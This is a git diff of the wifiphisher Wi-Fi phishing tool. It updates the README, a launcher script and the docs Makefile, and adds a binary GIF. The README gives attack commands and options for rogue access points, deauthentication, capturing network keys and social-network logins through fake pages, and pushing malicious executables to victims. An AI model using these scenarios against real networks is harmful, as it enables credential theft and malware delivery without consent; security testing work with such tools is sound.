+```bash +git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision +cd wifiphisher # Switch to tool's directory +sudo python setup.py install # Install any dependencies +``` + +Alternatively, you can download the latest stable version from the Releases page. ## Usage -Install the tool by hitting `python setup.py install`. +Run the tool by typing `wifiphisher` or `python bin/wifiphisher` (from inside the tool's directory). + +By running the tool without any options, it will find the right interfaces and interactively ask the user to pick the ESSID of the target network (out of a list with all the ESSIDs in the around area) as well as a phishing scenario to perform. By default, the tool will perform both Evil Twin and KARMA attacks. + +*** + +```shell +wifiphisher -aI wlan0 -jI wlan4 -p firmware-upgrade --handshake-capture handshake.pcap +``` + +Use wlan0 for spawning the rogue Access Point and wlan4 for DoS attacks. Select the target network manually from the list and perform the "Firmware Upgrade" scenario. Verify that the captured Pre-Shared Key is correct by checking it against the handshake in the handshake.pcap file. + +Useful for manually selecting the wireless adapters. The "Firmware Upgrade" scenario is an easy way for obtaining the PSK from a password-protected network. + +*** -Run the tool by typing `wifiphisher` afterwards. +```shell +wifiphisher --essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd +``` -Following are some common options along with their descriptions: +Automatically pick the right interfaces. Target the Wi-Fi with ESSID "CONFERENCE_WIFI" and perform the "Plugin Update" scenario. The Evil Twin will be password-protected with PSK "s3cr3tp4ssw0rd". + +Useful against networks with disclosed PSKs (e.g. in conferences). The "Plugin Update" scenario provides an easy way for getting the victims to download malicious executables (e.g. malwares containing a reverse shell payload). + +*** + +```shell +wifiphisher --noextensions --essid "FREE WI-FI" -p oauth-login -kB +``` + +Do not load any extensions. Simply spawn an open Wi-Fi network with ESSID "FREE WI-FI" and perform the "OAuth Login" scenario. Use the "Known Beacons" Wi-Fi automatic association technique. + +Useful against victims in public areas. The "OAuth Login" scenario provides a simple way for capturing credentials from social networks, like Facebook. + + +Following are all the options along with their descriptions (also available with `wifiphisher -h`): | Short form | Long form | Explanation | | :----------: | :---------: | :-----------: | -| -m | maximum | Choose the maximum number of clients to deauth. List of clients will be emptied and repopulated after hitting the limit. Example: -m 5 | -| -n | noupdate | Do not clear the deauth list when the maximum (-m) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n | -| -t | timeinterval | Choose the time interval between packets being sent. Default is as fast as possible. If you see scapy errors like 'no buffer space' try: -t .00001 | -| -p | packets | Choose the number of packets to send in each deauth burst. Default value is 1; 1 packet to the client and 1 packet to the AP. Send 2 deauth packets to the client and 2 deauth packets to the AP: -p 2 | -| -d | directedonly | Skip the deauthentication packets to the broadcast address of the access points and only send them to client/AP pairs | -| -a | accesspoint | Enter the MAC address of a specific access point to target | -| -jI | jamminginterface | Choose the interface for jamming. By default script will find the most powerful interface and starts monitor mode on it. | -| -aI | apinterface | Choose the interface for the fake AP. By default script will find the second most powerful interface and starts monitor mode on it. | +|-h | --help| show this help message and exit | +|-jI EXTENSIONSINTERFACE| --extensionsinterface EXTENSIONSINTERFACE| Manually choose an interface that supports monitor mode for running the extensions. Example: -jI wlan1| +|-aI APINTERFACE| --apinterface APINTERFACE| Manually choose an interface that supports AP mode for spawning an AP. Example: -aI wlan0| +|-nJ| --noextensions| Do not load any extensions.| +|-e ESSID| --essid ESSID| Enter the ESSID of the rogue Access Point. This option will skip Access Point selection phase. Example: --essid 'Free WiFi'| +|-p PHISHINGSCENARIO| --phishingscenario PHISHINGSCENARIO |Choose the phishing scenario to run.This option will skip the scenario selection phase. Example: -p firmware_upgrade| +|-pK PRESHAREDKEY| --presharedkey PRESHAREDKEY| Add WPA/WPA2 protection on the rogue Access Point. Example: -pK s3cr3tp4ssw0rd| +|-qS| --quitonsuccess| Stop the script after successfully retrieving one pair of credentials.| +|-lC| --lure10-capture| Capture the BSSIDs of the APs that are discovered during AP selection phase. This option is part of Lure10 attack. +|-lE LURE10_EXPLOIT |--lure10-exploit LURE10_EXPLOIT| Fool the Windows Location Service of nearby Windows users to believe it is within an area that was previously captured with --lure10-capture. Part of the Lure10 attack.| +|-iAM| --mac-ap-interface| Specify the MAC address of the AP interface. Example: -iAM 38:EC:11:00:00:00| +|-iEM| --mac-extensions-interface| Specify the MAC address of the extensions interface. Example: -iEM E8:2A:EA:00:00:00| +|-iNM| --no-mac-randomization| Do not change any MAC address.| +|-hC|--handshake-capture|Capture of the WPA/WPA2 handshakes for verifying passphrase. Example: -hC capture.pcap| +|-dE|--deauth-essid|Deauth all the BSSIDs having same ESSID from AP selection or the ESSID given by -e option.| +||--logging| Enable logging. Output will be saved to wifiphisher.log file.| +|-cM|--channel-monitor|Monitor if the target access point changes the channel.| +||--payload-path| Enable the payload path. Intended for use with scenarios that serve payloads.| +|-wP|--wps-pbc|Monitor if the button on a WPS-PBC Registrar side is pressed.| +|-wAI|--wpspbc-assoc-interface|The WLAN interface used for associating to the WPS AccessPoint.| +|-kb|--known-beacons|Perform the known beacons Wi-Fi automatic association technique.| -## Screenshots - -


Targeting an access point

-


A successful attack

-


Fake router configuration page

+## Screenshots -## Requirements -* Kali Linux. -* Two wireless network adapters that support AP and Monitor mode accordingly. +


Targeting an access point

+


A successful attack

+


Fake router configuration page

+


Fake OAuth Login Page

+


Fake web-based network manager

## Help needed -If you are a Python developer or a web designer you can help us improve wifiphisher. Feel free to take a look at the bug tracker for some tasks to do. +If you are a Python developer or a web designer you can help us improve wifiphisher. Feel free to take a look at the bug tracker for some tasks to do. -If you don't know how to code, you can help us by proposing improvements or reporting bugs. Please have a look at the Bug Reporting Guidelines and the FAQ document beforehand. Note that the tool does not aim to be script-kiddie friendly. Make sure you do understand how the tool works before opening an issue. +If you don't know how to code, you can help us by proposing improvements or reporting bugs. Please have a look at the Bug Reporting Guidelines and the FAQ document beforehand. Note that the tool does not aim to be script-kiddie friendly. Make sure you do understand how the tool works before opening an issue. ## Credits The script is based on an idea from Dan McInerney. +href="https://github.com/DanMcInerney">Dan McInerney back in 2015. -A full list of contributors lies here. +A full list of contributors lies here. ## License Wifiphisher is licensed under the GPL license. See [LICENSE](LICENSE) for more information. -## Project Status & Download -Wifiphisher's current version is **1.1**. You can download the latest release from here. Otherwise you can get the latest development version by cloning this repository. - -## Other resources -* Official wiki: https://github.com/sophron/wifiphisher/wiki -* “Introducing wifiphisher“ talk at BSidesLondon: https://www.youtube.com/watch?v=pRtxFWJTS4k -* HowTo video by JackkTutorials: https://www.youtube.com/watch?v=tCwclyurB8I -* "Get Anyone's Wi-Fi Password Without Cracking Using Wifiphisher" by Null Byte: http://null-byte.wonderhowto.com/how-to/hack-wi-fi-get-anyones-wi-fi-password-without-cracking-using-wifiphisher-0165154/ +## Project Status +Wifiphisher's current version is **1.4**. You can download the latest release from here. Otherwise you can get the latest development version by cloning this repository. ## Disclaimer -* Authors do not own the logos under the `wifiphisher/data/logos` directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. - -* Usage of Wifiphisher for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. +* Usage of Wifiphisher for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. -Note: This is the only official page for wifiphisher. Other sites may be delivering malware. +Note: Be aware of sites pretending to be related with the Wifiphisher Project. They may be delivering malware. -[![alt text][1.1]][1] -[1.1]: http://i.imgur.com/tXSoThF.png (Follow me) -[1]: http://www.twitter.com/_sophron +For Wifiphisher news, follow us on Twitter or like us on Facebook. diff --git a/bin/wifiphisher b/bin/wifiphisher index c035499..ecb85a6 100755 --- a/bin/wifiphisher +++ b/bin/wifiphisher @@ -3,6 +3,11 @@ import sys import os +import logging + + +root_logger = logging.getLogger() +root_logger.addHandler(logging.NullHandler()) dir_of_executable = os.path.dirname(__file__) path_to_project_root = os.path.abspath(os.path.join(dir_of_executable, '..')) diff --git a/docs/Makefile b/docs/Makefile new file mode 100644 index 0000000..a463e9c --- /dev/null +++ b/docs/Makefile @@ -0,0 +1,230 @@ +# Makefile for Sphinx documentation +# + +# You can set these variables from the command line. +SPHINXOPTS = +SPHINXBUILD = sphinx-build +PAPER = +BUILDDIR = _build + +# User-friendly check for sphinx-build +ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) + $(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don\'t have Sphinx installed, grab it from http://sphinx-doc.org/) +endif + +# Internal variables. +PAPEROPT_a4 = -D latex_paper_size=a4 +PAPEROPT_letter = -D latex_paper_size=letter +ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . +# the i18n builder cannot share the environment and doctrees with the others +I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . + +.PHONY: help +help: + @echo "Please use \`make ' where is one of" + @echo " html to make standalone HTML files" + @echo " dirhtml to make HTML files named index.html in directories" + @echo " singlehtml to make a single large HTML file" + @echo " pickle to make pickle files" + @echo " json to make JSON files" + @echo " htmlhelp to make HTML files and a HTML help project" + @echo " qthelp to make HTML files and a qthelp project" + @echo " applehelp to make an Apple Help Book" + @echo " devhelp to make HTML files and a Devhelp project" + @echo " epub to make an epub" + @echo " epub3 to make an epub3" + @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" + @echo " latexpdf to make LaTeX files and run them through pdflatex" + @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" + @echo " text to make text files" + @echo " man to make manual pages" + @echo " texinfo to make Texinfo files" + @echo " info to make Texinfo files and run them through makeinfo" + @echo " gettext to make PO message catalogs" + @echo " changes to make an overview of all changed/added/deprecated items" + @echo " xml to make Docutils-native XML files" + @echo " pseudoxml to make pseudoxml-XML files for display purposes" + @echo " linkcheck to check all external links for integrity" + @echo " doctest to run all doctests embedded in the documentation (if enabled)" + @echo " coverage to run coverage check of the documentation (if enabled)" + @echo " dummy to check syntax errors of document sources" + +.PHONY: clean +clean: + rm -rf $(BUILDDIR)/* + +.PHONY: html +html: + $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html + @echo + @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." + +.PHONY: dirhtml +dirhtml: + $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml + @echo + @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." + +.PHONY: singlehtml +singlehtml: + $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml + @echo + @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." + +.PHONY: pickle +pickle: + $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle + @echo + @echo "Build finished; now you can process the pickle files." + +.PHONY: json +json: + $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json + @echo + @echo "Build finished; now you can process the JSON files." + +.PHONY: htmlhelp +htmlhelp: + $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp + @echo + @echo "Build finished; now you can run HTML Help Workshop with the" \ + ".hhp project file in $(BUILDDIR)/htmlhelp." + +.PHONY: qthelp +qthelp: + $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp + @echo + @echo "Build finished; now you can run "qcollectiongenerator" with the" \ + ".qhcp project file in $(BUILDDIR)/qthelp, like this:" + @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Wifiphisher.qhcp" + @echo "To view the help file:" + @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Wifiphisher.qhc" + +.PHONY: applehelp +applehelp: + $(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp + @echo + @echo "Build finished. The help book is in $(BUILDDIR)/applehelp." + @echo "N.B. You won't be able to view it unless you put it in" \ + "~/Library/Documentation/Help or install it in your application" \ + "bundle." + +.PHONY: devhelp +devhelp: + $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp + @echo + @echo "Build finished." + @echo "To view the help file:" + @echo "# mkdir -p $$HOME/.local/share/devhelp/Wifiphisher" + @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Wifiphisher" + @echo "# devhelp" + +.PHONY: epub +epub: + $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub + @echo + @echo "Build finished. The epub file is in $(BUILDDIR)/epub." + +.PHONY: epub3 +epub3: + $(SPHINXBUILD) -b epub3 $(ALLSPHINXOPTS) $(BUILDDIR)/epub3 + @echo + @echo "Build finished. The epub3 file is in $(BUILDDIR)/epub3." + +.PHONY: latex +latex: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo + @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." + @echo "Run \`make' in that directory to run these through (pdf)latex" \ + "(use \`make latexpdf' here to do that automatically)." + +.PHONY: latexpdf +latexpdf: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo "Running LaTeX files through pdflatex..." + $(MAKE) -C $(BUILDDIR)/latex all-pdf + @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." + +.PHONY: latexpdfja +latexpdfja: + $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex + @echo "Running LaTeX files through platex and dvipdfmx..." + $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja + @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." + +.PHONY: text +text: + $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text + @echo + @echo "Build finished. The text files are in $(BUILDDIR)/text." + +.PHONY: man +man: + $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man + @echo + @echo "Build finished. The manual pages are in $(BUILDDIR)/man." + +.PHONY: texinfo +texinfo: + $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo + @echo + @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." + @echo "Run \`make' in that directory to run these through makeinfo" \ + "(use \`make info' here to do that automatically)." + +.PHONY: info +info: + $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo + @echo "Running Texinfo files through makeinfo..." + make -C $(BUILDDIR)/texinfo info + @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." + +.PHONY: gettext +gettext: + $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale + @echo + @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." + +.PHONY: changes +changes: + $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes + @echo + @echo "The overview file is in $(BUILDDIR)/changes." + +.PHONY: linkcheck +linkcheck: + $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck + @echo + @echo "Link check complete; look for any errors in the above output " \ + "or in $(BUILDDIR)/linkcheck/output.txt." + +.PHONY: doctest +doctest: + $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest + @echo "Testing of doctests in the sources finished, look at the " \ + "results in $(BUILDDIR)/doctest/output.txt." + +.PHONY: coverage +coverage: + $(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage + @echo "Testing of coverage in the sources finished, look at the " \ + "results in $(BUILDDIR)/coverage/python.txt." + +.PHONY: xml +xml: + $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml + @echo + @echo "Build finished. The XML files are in $(BUILDDIR)/xml." + +.PHONY: pseudoxml +pseudoxml: + $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml + @echo + @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." + +.PHONY: dummy +dummy: + $(SPHINXBUILD) -b dummy $(ALLSPHINXOPTS) $(BUILDDIR)/dummy + @echo + @echo "Build finished. Dummy builder generates no files." diff --git a/docs/_static/getting_started/install_browser_download.gif b/docs/_static/getting_started/install_browser_download.gif new file mode 100644 index 0000000000000000000000000000000000000000..0f6d94b7c3b2a2f2fc43b1ac088b3823369b8901 GIT binary patch literal 31301 zcmYJ4byQSs+r_7VVdxI&l5VAS=uVLmkdj6bQ9{&VsG+;NhK8X-M7lv*xQzRtdXdmm+0C2PIKN)sJ~%k})6mv`cy@hsdUJAm#lg*U zczE>d*U{Gk#XpFh7ZFD|ZrU)}uqb8+$K^z`EL_to~<&B68E)yspUliQo?+q-Mm z*Ecu6Z*Onq6_wHDHRF>rT6#}eSlO0VmOvoz&!77nTbtWE+c(!&d%JsITU!_BXa8JY z-~71|5E6=rjTe`YWV_E*-_)w4{bXrjwWY0dXM6A4w~>qA*Qx25!C}!>cFwc&%eKyM zOrF0mGB(*iy&hlO?H!(I=^oHGFdU!zAqbZkSvXu+SQwr?diBohaN~Ahc5m~BJXyXhb=D-A$3-R_MT+&;-P~nL;zhbTZid{MvfpnuH*SvDlNH$0 z;q2LpecKcFQ)C`S>S_j@60HRu)UqB(P?S?@w0&9X*~{lgH|+LO-c&IBTs5-Yyfpl`l>Li@jJKz`_r!1ZBauTbT!)@HAi=c!g= zt5)Y|(dMnw;BVD1=yOZo!ra`RNYxwN-dquC(g_7CKWNrg>2p+roAS3m{XE<8^pTHH zuZ~!kk)GrSJ!!9}Ql5qq-dV=VXhWR}Lz@X@wkZw1X=V0#4YoxM-encG?e7MMbEe1h zHlCtVdXgT&f|Aij8gZto-CFV!-x4Rkg|2>2+Zfl~7=N}ouJ>cYaBECsf8Oxdy2tqu z=KQGX;<)U3zT@_~1#k=a-;engPfJn%iM*_iqAsKxS=1T|`1b_qJ{d&d7EhKKRXgT~R5-O%SadAjQ?DzXsW#We4H22J8-D9r z-?#BFvD}Pn^mu1spuS@1D*}wipwWO?>F}Lvd^Xrnxz-cKy7ny9G9P;&NyKT<)T_Gw zTb6tz_&nUK-hE52#C)i!cK18RdLTpdbKTFm%I&ss`ilDIrB=Uh_q3WDUN0Wa7S*~o ziu~Ff$yLwXpU>Lb&HegXKK%3N^MmD%&|5pRmtt;irz0iLzqK^~KHFIOnc80C_ksB0 zV0Y=;*RSqlfWX)VF%Zmi_5qZma2bjJaBJC*Sc!ARpWMKn*?+S+aWU}l_0~!dU7g7D zk2hWxtHGS;LY7YtAV$jwEC$b&FwrUdwQzC%t<*qiGq2YlkcZK2(qEB=Vhpw=XC=n{^iX zS=VKg%I7id{@vw#!ShGi`J&JH?X~;-8=U>~Wq+!d7b~bA_zlZyV*3|s5AJ^vUyCw) zdAR}Bj*!?$^Vn}pO?ky|`6DmU+BSm!Ibg>tC+_bU54p zeb9;{@aM4e!2C}Y4@GwOalhDs&%F_4f$NhA!&fq=YI{6Y%~R6gLFT0(ft!o<#8)?$ zTLl$2S9|ppAGyPwEu}{qW9@IRFMfP_T<0R`rY1PBl>xv}X$8?9BA^;sAgbP0Y{@9! zA|q^p)%y>xy7Cl$-Ald^?UlWz$o}NxY4Jcoyqz@W(4Rwt8D>~0M|Rvs;v#RZ8ByOx z`_5H`Q5x7zN77Dtbr=N4&mq1IQt4!&JwmbicjK9L6{CTKfVXd2J3&lcTqdJ|`V-ps z;HXZ1?{A?NaoBiW;!2Exa%8Xk=CCT0x_HXNfDcQo?kyB5@&_J8ctR`~&c!>~(Lyg2 z-bXOu;3`W{xO=pEEz71}ON_mAoW716lPT2CvCyN_dqVXPcwqi{g10IlP;pm(! z6SXiYLoS$bT|Dg`t$5w4SPSDM|JFl4d{c>M!~~)O&CBx_J7~U^bSLVw-+HKNkMATW zpG`Q)CTvkT683Q{vQ@el%g7a50JDP64*(N8qO=4wMsXfd%Tej?XnnjQlLVOga&Tv> z8)B^R!Z|r{A(i+x;&N0#_W-@NnW22|Z$*p&j$#xmni@*u6#3I2y~Ij=v}A3`P#hNE z!BKFYRduo9(B=~}p*B;*c&_&K#`f@~AKS8i=C3#q(cUZojA_M@NwTBxiyG$Gdy@%d zYJGk*qph&1pS3pM!Qe?U^k9UULaDY>OAd%F<61xt;tA-c)gvgIN8h6x)h)sPPFiIT z;f-Mq=8Iz~iD262;JBFOYi^6F8xi1!QE0ZhCCyVk;x zG@&vDszRP?8hLhd5DEo7PQ$;PJTG|S4B;Wy)s?Y5Ze(T$Nm{mQu}zResQ`Z1jv@Yx z)Ciz5pn|;T9%7fpm*BChEV$Jb$V~mKQaar>JRWb(($l!sGs+AU>M!yZ+ahArq^4k(nw4R|9961zAlH06IIti^1tTAEFAIf<1WI~t;B_i*Ih zjXxih0MF3AfjnWcJuDVx{ZZ&@z@+=N%4nYEl6epBKezD0o_;A*+5Ae!FSP@p;Lp)ewq^apgJPP}BX#IHxQc)6 zz3DAOcTeTDlh1ECk_Lb%H*w0cS=j1GO7B7TCGlQ=aVjJMQG3vEh;)-R>&ZyC8?T0im=?;0)T z-W1>4l$a)%+k2j9eio_5b0 z=HQxd{sbbr(befcbv<(2ch$a^kTvHMLOY%p{W%Q?`Y@%Ua%~mhzQJB5L(=f=%lH>( zXiJ6faY)0f`wty0Z0}93qdqko)PH$DMD_S0WlARe$7kCz$*&|YvxIy_WY)aZA64ga zcHLI{-ePM)bG{Die@v5kWxajynMjbgU{$N z5|Z0UMHld}Ulb`w?I+BM6fyD>gnqJ>|HR|@Ns9Av!YGmttm+2$duZgZbtY16?O7r|Mcs8HfhrC^n#n4rR>km80AN+=(HFJ6u-j=x}N zjZtWwXJ|uGXj4OI^K@v-MQH0q=)pSy8k-Pt*D&Guu)*rE!RfH!i?EU2u$f;??ewgDrsi;lh-n2sVuZTnH$Yb%yn52kdOUWkr z$g76PKSq&fDA|kYh)eM(i1A~faTGK;%C0a1$5=LhD~f<7`ocbn6gQf}D>^|w8WtQ) z=McR=9m(DiMK2M|1yf_GDdJa5?zQTY8?C2HCFsKIaabUR(dA( z(Pb>0CQeQwPQf@%$tzC9EB2H*in%C)^)OC{CSFe>Uf($0z$@M;Io_l(-gGA3{4(Cc z;jx{V2ERnG7A}w?DuJRQ!FeX(&}oiX5_Dbtb zP79YvE}G%&I!;6PrM63?PZ+096{Srlr$_Xq#i^#gQ?p!?_tmlXMuS^P_ zd%si3%73F!lPq}y|Qe|9Xo)cq@!s6B6SJ@|*v4$2_a_8w5S89)dltQ)PS+2ycb&O5b+o&S*rV5(^ETBmR zo*Lj+f1=O5^a!5%Kv=Olror)dTs%*G*!z?xvtT1ZpcWnwL0erv1JUWLW!0%d|1RbG z4dItcqmj};eopjPdtw}v5F1+dOs!B?r${9VgUwSBbPqDpjuo|JpPMir+0hkgU}WsSuoPQpMCie42lCui@-jP7JN@n~>^{@2f%h1u7|u z-)E6z_?4`wjVt$RwSU*#)A&LmtwHL85&ey!o&%76E(m;3{>R%!3lAHdn#VR!NG}a= z;Q`P#x6jgMnQ_0s{+#scS!IxS8`d0#HZ9FRH6lC23A&uWP21q%1esJ*e7e_mtzK(1 z_+@;+5Q3@em?)7$H>zKCHA?1d%$C?{lv(L?r-XLDlB`OTY;EQFdc4}!*VMFCTw1VW z?fIuO6PBA*qNhFBoi~d#EbSz?O+#A-tA*niMQWg9r28EEbE-c#td&%U4)#WcWvBb( z#?7O%_L8+y3*$?B4`>RrrTa7I`%9bqF{Zv|O%Pq){^*qcg1y2F=Yh&U{VjW0>VE_; zE(glz2ReNQo5KdNXa`}%{hyr&N9cyec#{U_2giMerqhOIHIgQshZZjfm+6MfX|mJ) z46XVMZ}}vzn+|U_5AFXMJ}k}I9UT5i_wCH*+qv|&+oXXD({DF_z5(b*Kr$m&GecxM zgA!^ZurDL{3nPRdhOj@3{7DoGz4abcNp(c7U|vA9vOvN6doz5i=Mk$zH7W>Vj5Qs={@(H9x`(1dvUgwW-rR_COdS&YrkNkp9WxzUuP%M_3d z+#o;UME{*)d&-`G-tEKpH`h}R;op5+V!U0xf1sbvlmGtqO9b-6^oGK8K=^bRpLhtp z9$;oVW+)<3^P92E43{5(<88B3OpW7lwJWm1u5~6wW)=;}Q*pIvHki$GDV}*|w&^|t zYhp<<6E$~*jI3f64+*P9RX7TN*$ClN5iD~?%yH$<+5|bNvQ$jw%w6ct%OSw*0lXcW zd_Uid#SaZvnau(Hz(=<=%@!TljG~Z5Z)`GFNXw9yJZSN0vAj#p{JOfE0N$*lPO-(va?1xtEJCzCTk#<2%8g_h48F*d zwem+8JTCPK^l0L}%QTz$Do0C%b|6@81e7Ktu#mb4ODvI(S;cK#{ra7g} zKM0TR2qd7D4{`79T2+o^eNub^CCyWa7i6uIw$xJ`OeGQ`m%bn=_!h{ZKS6#~&53v@ z9#O~K5Lcv|*#-dIql}*(&lEAo&iACSC32X8%BhRjIccPWYE#U(42t!gCg;m#<}81h z##^m|5by7(7%H690PlA_X2m}{k8k3AL#44ML1q`&BdaWW(?p=Mv*bhXT7@hv9 z?R(3pv5T8D%1jL0T0%fz@1UQ!WE<}JZ8ICC`;OmX#{a;^yT{52@B|P8?w&BVP;0nr z7c*gamo<)|Ja;;eJek^Cl9zRC6wgp*QgiFsJd-}{!qhzHlPOY0##bBZ?SB8>h3xNL zEC8|qrhgXaK9o)clhx)2CDSTw#rR@j16e>if03m>0Xrzlvog0Qgv6I^y5T6dFBZ(G zU^F6!+lRwx{Vr|`iBL}#=OZK@$!d*bWqku1>eX59z{2sFB~OX9$I9h-L1z(-Xq7|D zr!z#UO>RPi3@cOIQ)C_WxJa5E$)%=(pJmuunyRp5Z9IiK%REXx%o8BTvW-2?df2{6 z(c<;E9Kk)wOTle4CJ9ZwSPdDV-V)v1>A*>)#bz=vaJK5&1k1U*USdEsJEPPd#GUiv zeZC^%#Qs7StpV86B0?HbDUuG8!Xm;p00tjW7_|((XXCh>S*BKS#>{lsJr=OVzhAdz z$tL7ud&s#U2i1MazPG24xV^;)E<_NX(QJQ5 zk9#7S#-GYjbdIkX?%g#9<6nMkT)N0Zv6G*FFn>u_fEtT z^vvsHSW{M_t%)doc%znqWiVOuc!flm6Em??xWm{tIM@TcDc>E7MZW2QjPRee<%e?1s?A;JO)8=IsE zAW-343nQ|no~FWVDiTzGcaPtqnHYkrGBs3xDjPY`C~J+w~Xn<3nyt2R!z7u<4Zwf^98avCz>|NCT@HlgO*6gHybP-~VnN2PyWJ)zoQJb7ZAzvNaaym_{ zE~TiXqWzYe=LtD}0UZ=wNqgU8BiUpB^2diagjZX6iCT^6LaBH3I5~9q zYS*}D_~qJ*4z0@Fx*rThq(JMVy(vB>Vh17%dSG|35_A+y*=s$Db!>J#EFCo}5DC9$ z&KurJGlCP*G~E<*3!wfk?>o9j*?>@dukJ&0NUo^wM007DL^MTu9I5&BI=>On84M~~ zqA|hv)vRdwV5A1Y&_k)SwoYXW`$*EMa{!hwv9P*MRwKZojZ=~Ny%}=Z4vvti<>R#W zkk9&=bttgpwTJ91VWPB!2GTg90;a&4zaNT=bFyK1$@eaPjbm$&FHaW?;PzRdii(O} z&L#pJskahNMtu>`bPC26$2|=}iSlZ-1#6YkP)MNs7hWH^yUQ~FoJvyo7XDh4DsI^x zEtbNs6ZN>AhnX((ZTHr~5t30M^hgC7R0ye*SyZ>)nVwb}JbDGQ&Q6sfuvdCVKI>e=>>&F#U&~HjC!i@{OHKiy84Dj z6j(jluezqGy`wW(KpO}NW#mT(lL)YayCx>v`DzHVu-mY;DyCLe>xh@+X62VD?$ z9E{Uqfkr5j+3PN9;!!%t)rAV;#p7{u_Vq>vMm=q(v{vhjea?cfGUB8f=Wnqu`(l(ss2R` zqgGpL9Azhx(xf&{Gt*{G#gG+aQyGJI()^)zM~q{IDM=)CVz9B=wgJzk^@3R*o0LYw z=Yo2O3upc#(-y_g0|vbWUldr33P8EJme`a7dcf@q7b(+&)sWTxn1b1;8JwuDmKwZ zFkmN%iu?8pA}B%?Zg?QwryA$Pm!$rtSGC#((#u9%@ESM8%gp5*h?~pr9I^2u^QBsB zT6&6T;*ShD1NV&_1SyQ&Q?JrZks{VWZ96|f>&X8uXDj9sd7{!kSZK%==TO8DUF=v? zTE630g4>mXN};a8LSof#(jv=+>%8t)v~D&H+(*6`m&NpOgzi=8J2JJ)4edv9CQKMS zgJs#gsM@`Y+3*nc4S_r_8|>o;5*lgemDyECVU7IIE1|i)isdP%SM{CC#r!nZrOOpH z^erVNm1}M#Okd79@L#r2?#&&*9HZClofjh{kIcF<5Ki>nbn3>g(0d-dZZ-3P(r!Jc zDL%s8Toux81N^yvD*J`VU~h(~KH&?uic1xX49Of^ycr?89TXYWMwiONW3YQnBeNb<#BgM%|RJ?R%WQ)nSY~ui_=dX9LuBSGN&xCXC6cAM2(Am$Y~R) z-g=i)84j{0uV(ulw`No9bCY4yf4qsZHr%sqc(($DQ4qF#cJzLzBlK%t@8^@Ft#2jI z1=5*7Y%PPDjs@TKwADx07Q@mkm)8$;GWs;cSLQ0e|H)^M>^ zYMXbG2`uZ;_wR!3S#SCP)Osvn3iN_EQD`PF_6bWcN?K7;wEZsG=GsiMLC(BjHOVs$ zpbRj59pLb?o9joK`xMuY)_RxUBi? zsyMhe;3~SJmZORwqc=uGzG^VVTCRFzr^>lzV%E*McA7T%XC2+6fuHqWNS>E@YYD$m 